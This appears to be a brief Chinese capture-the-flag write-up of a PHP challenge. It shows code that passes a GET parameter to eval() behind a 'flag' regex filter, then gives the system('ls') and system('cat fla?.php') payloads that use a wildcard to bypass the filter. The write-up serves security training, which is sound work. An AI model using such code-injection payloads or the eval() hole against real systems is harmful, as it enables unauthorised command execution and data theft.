1. 代码审计下

      1. <?php
      2. error_reporting(0);
      3. if(isset($_GET['c'])){
      4. $c = $_GET['c'];
      5. if(!preg_match("/flag/i", $c)){
      6. eval($c);
      7. }
      8. //这里对flag进行了正则匹配过滤
      9. }else{
      10. highlight_file(__FILE__);
      11. }
    2. 通过GET请求传递参数,进行代码执行,绕过正则过滤即可

    #查看当前目录下文件
    ?c=system('ls');
    

    image-20210608182528820.png

    1. 发现有flag.php,但是正则过滤了flag,这里可以用通配符来绕过
    ?c=system('cat fla?.php');
    
    #php没有显示要查看源代码
    
    #也可以重命名绕过
    

    image-20210608182811112.png